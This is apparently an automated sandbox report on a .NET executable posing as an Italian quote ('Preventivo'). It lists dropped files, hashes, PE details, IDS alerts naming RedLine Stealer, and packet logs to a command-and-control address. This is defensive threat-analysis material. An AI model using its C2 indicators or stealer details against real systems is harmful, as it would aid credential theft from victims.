Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\Temp\tmpF8B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF9B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFAC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFCD.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFCE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFDF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFEF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416849385222646
Encrypted:	false
SSDEEP:	6144:Rcifpi6ceLPL9skLmb0mYSWSPtaJG8nAgex285i2MMhA20X4WABlGuNO5+:ui58YSWIZBk2MM6AFBMo
MD5:	CB8D267E3E4C399F0C04CAF39A4EB72B
SHA1:	D609BB75117D686618099041FC9099DC1ADE0BC8
SHA-256:	5A10525B134CB94F9EE6897F1B1B18DF1569EAA64B860A835F0E9E9BAF2D76EE
SHA-512:	49AFD3FA6A06E5CBC2B967127113E7E0271A9CA4E87FB84864FA46E830AB8F49DEB1CA08D33A63BB552A185402606FFC795C8476BD521C2F498B78CE5C4373FD
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.E..5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.266308927735255
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	Preventivo#09678.exe
File size:	1'583'745 bytes
MD5:	761710e429b4487833e5f9695da7a981
SHA1:	eb09e34e35e06d4fee5f01bf57124a80c0e61917
SHA256:	82b00503241fb05e5891a11a701a6706fbe2319cffe309c16df7517cfe259011
SHA512:	6f7f1cda60481e630af6d0db1c258e8715af3da24985b7d6221df728d2ad4b5f2d2e5dd41f8953033624d919a256b2340dacb4cd21985cb2202c7d4356f01b3b
SSDEEP:	12288:RVNdpkuPuik2PwIxDzEtYmZN78Bdboror5Ing2:RXduzEIMzEtYm4BxUFh
TLSH:	D275F0467E13AC17BD041A22E1D836FD06FE6D5B7CF0A64FCF5CAE9596662BC0064A30
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...J.5..........."...0..1............... ....@...... ....................................`................................

File Icon


Icon Hash:	443ad8d4dc581348

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB235CF4A [Sun Sep 28 23:42:02 2064 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x10ea6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5174	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3190	0x3200	c5fb7895b5eaf58ed2000fd33c4a2198	False	0.570078125	data	5.889642191118953	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x10ea6	0x11000	63818ce2ddf7dd759dac33b81b2bea19	False	0.06192555147058824	data	3.19703904663027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6144	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2834 x 2834 px/m	0.05199337513308885
RT_GROUP_ICON	0x1696c	0x14	data	1.15
RT_VERSION	0x16980	0x33c	data	0.42995169082125606
RT_MANIFEST	0x16cbc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T15:02:27.715629+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.7	49699	193.70.111.186	13484	TCP
2024-11-13T15:02:32.758524+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	193.70.111.186	13484	192.168.2.7	49699	TCP
2024-11-13T15:02:33.019894+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.7	49699	193.70.111.186	13484	TCP
2024-11-13T15:02:35.793333+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	193.70.111.186	13484	192.168.2.7	49699	TCP
2024-11-13T15:02:35.854568+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.7	49731	193.70.111.186	13484	TCP
2024-11-13T15:02:36.873290+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	49730	TCP
2024-11-13T15:02:37.850321+0100	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.7	49744	193.70.111.186	13484	TCP
2024-11-13T15:03:14.847087+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.7	49944	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 15:02:26.713265896 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:26.718746901 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:26.718823910 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:26.732788086 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:26.737740040 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:27.090814114 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:27.095949888 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:27.662338972 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:27.715629101 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:32.733220100 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:32.733220100 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:32.758523941 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:32.758537054 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:33.019684076 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:33.019705057 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:33.019716024 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:33.019893885 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:33.020136118 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:33.020209074 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.787724018 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.787996054 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.792977095 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.793205976 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.793333054 CET	13484	49699	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.793395042 CET	49699	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.795759916 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.795759916 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.800865889 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.800920010 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.800931931 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.800978899 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801003933 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801059961 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801328897 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801358938 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801388025 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801388025 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801404953 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801418066 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801439047 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801446915 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801470995 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801476002 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801496029 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801506042 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.801527023 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.801553011 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806109905 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806139946 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806173086 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806201935 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806262970 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806292057 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806322098 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806335926 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806529045 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806580067 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806586981 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806637049 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.806704998 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.806785107 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.854424000 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.854568005 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.902322054 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.905877113 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:35.958363056 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:35.958434105 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.010343075 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.010499954 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.058495998 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.058552027 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.110198975 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.110425949 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.158220053 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.158746004 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.206393003 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.206490993 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.254420042 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.254482985 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.302618980 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.305660963 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.354226112 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.354357004 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.376400948 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.376569033 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.376631975 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381462097 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381494999 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381521940 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381536007 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381548882 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381582975 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381583929 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381606102 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381628036 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381629944 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381653070 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381659031 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381679058 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381680965 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381715059 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381727934 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381742001 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381747007 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381756067 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381769896 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381778002 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381789923 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381798029 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381804943 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381819963 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381840944 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381840944 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381855965 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381865025 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381890059 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381894112 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381911039 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381932020 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381952047 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.381973028 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381983995 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.381988049 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382005930 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382009029 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382035017 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382046938 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382049084 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382070065 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382092953 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382097960 CET	13484	49731	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:36.382119894 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:36.382122040 CET	13484	49731	193.70.111.186	192.168.2.7
